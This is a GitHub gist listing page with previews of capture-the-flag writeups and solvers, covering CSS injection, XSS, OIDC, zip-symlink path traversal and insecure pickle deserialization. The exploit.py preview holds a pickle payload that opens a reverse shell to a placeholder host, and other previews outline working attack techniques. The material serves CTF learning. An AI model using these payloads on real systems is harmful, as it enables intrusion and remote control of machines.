Skip to content

Instantly share code, notes, and snippets.

@tyage
tyage / README.en.md
Last active October 13, 2026 06:02
IERAE CTF 2026 - FINAL for Humans / Dopa Secret — writeup https://github.com/tyage/dopa-secret

Dopa Secret — writeup

日本語 | English

Overview

  • The target's color parameter lets us append arbitrary CSS properties to the style attribute of #main (CSS injection). We cannot leave the style attribute, so HTML and scripts cannot be injected.
  • Making #main editable with -webkit-user-modify:read-write makes it focusable. When a cross-origin iframe navigates to the fragment #main, the scroll that accompanies the focus also scrolls the attacker page's scroll container that wraps the iframe. Its scrollLeft gives the width of the first line inside the iframe as a number.
  • Narrowing the iframe by one character at a time shortens the first line by one character each time. We measure the width at every step and take the difference between neighbouring measurements to get each character's width. Matching these against a precomputed table of character widths recovers the 123-letter challenge. We then solve the PoW and POST it.
  • The same CSS can be appended to the POST respo
@tyage
tyage / solver.py
Last active March 29, 2026 08:49
Sealed Board - Codegate CTF 2026
#!/usr/bin/env python3
"""
Sealed Board solver.
Requirements:
pip install requests fonttools
Usage example:
python3 solver.py \
--web-base http://TARGET:5000 \
@tyage
tyage / README.md
Last active June 22, 2025 09:16
OIDC転生おじさん solver

Solution

  1. Start server
$ uv run main.py
login: <Response [200 OK]>
register: <Response [302 Found]>
callback: <Response [302 Found]> <Cookies[<Cookie ojimemo_session=eyJzdWIiOiJlYmUzNjMyMi0wMDY0LTQ4N2QtOTYzNC1iZDg0NmEwYWZkYjkiLCJlbWFpbCI6IjY1MTEzMDg5QHBveW9wb3lvLnBveW9wb3lvIn0%3D.xa5dC8HTYUd%2Bh%2Fv8raNvqitawg88ARed9GAamRksrPw for ojimemo.127-0-0-1.nip.io />]>
change locale: <Response [302 Found]>
@tyage
tyage / README.md
Last active September 22, 2024 08:32
@tyage
tyage / exploit.py
Created August 14, 2024 12:32
HuntressScketHunt writeup - DEF CON 32 Cloud Village CTF
import pickle
import base64
import requests
import json
import os
class P(object):
def __reduce__(self):
return (exec,('import socket,os,pty;s=socket.socket();s.connect(("xx.xx.xx.xx",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")',))
@tyage
tyage / xss.html
Created June 29, 2024 05:16
Google CTF 2024 Game Arcade solver
<body>
<iframe id="frame1"></iframe>
<iframe id="frame2"></iframe>
<script>
function arrayToBase36(arr) {
return arr
.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
.toString(36);
}
@tyage
tyage / main.js
Last active June 29, 2024 05:16
Google CTF 2024 PostViewer v3 solver
// Locate this file in https://storage.googleapis.com
const evaluatorHtml = `
<html>
<head>
<meta charset="utf-8">
<title>Evaluator</title>
<script>
onmessage = e => {
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
import requests
import sys
import re
import base64
import websocket
import time
import threading
import json
meisai = [...document.querySelectorAll('#meisaiTable tbody tr')]
.filter(tr => tr.id === '')
.map(tr => [...tr.querySelectorAll('td')])
.map(tds => {
const date = tds[1].textContent
const content = tds[2].textContent
const price = tds[7].textContent.replaceAll(/\s/gi, '')
return `${date}\t${content}\t\tクレジットカード:ANAゴールドカード\t${price}`
})
.join('\n')

zipviewer-version-citizen

To solve the challenge we need to upload a symlink file in zipfile.

When we upload zipfile, it will be unzipped and then, symlink in zipfile will be deleted. But if the entry name contains ../, symlink will not be deteled.

Therefore we create a symlink entry foo/../bar in zipfile.